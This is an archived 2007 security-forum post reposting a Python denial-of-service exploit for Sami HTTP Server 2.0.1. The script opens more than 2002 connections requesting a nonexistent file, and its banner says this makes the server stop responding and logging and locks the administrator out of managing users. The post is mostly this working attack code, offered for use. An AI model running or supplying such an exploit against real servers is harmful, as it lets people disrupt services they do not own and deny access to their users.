邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-1-25 22:02

Sami HTTP Server 2.0.1 (HTTP 404 - Object not found) DoS Exploit

[code]
#!/usr/bin/env python
import socket

print "-----------------------------------------------------------------------"
print "Sami HTTP Server HTTP 404 - Object not found Denial of Service"
print "url: [url]http://www.karjasoft.com[/url]"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: [url]http://shinnai.altervista.org[/url]"
print ""
print "The server is unable to handle more than 2002 requests to nonexistents"
print "files, pages, folders etc."
print "When the number of requests exceed the 2002, it stops to answer,
stops"
print "to write to log file and the admin will be unable to kick or ban
users."
print "The only thing you can do is to kill the process."
print "-----------------------------------------------------------------------"

host = "127.0.0.1"
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
  conn = s.connect(("127.0.0.1",80))
  for i in range (0,2004):
     request =  "GET /some.txt HTTP/1.0 \n\n"
     connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     connection.connect((host, port))
     connection.send(request)
     print i
except:
  print "Unable to connect. exiting."
[/code]

页: [1]
© 1999-2008 EvilOctal Security Team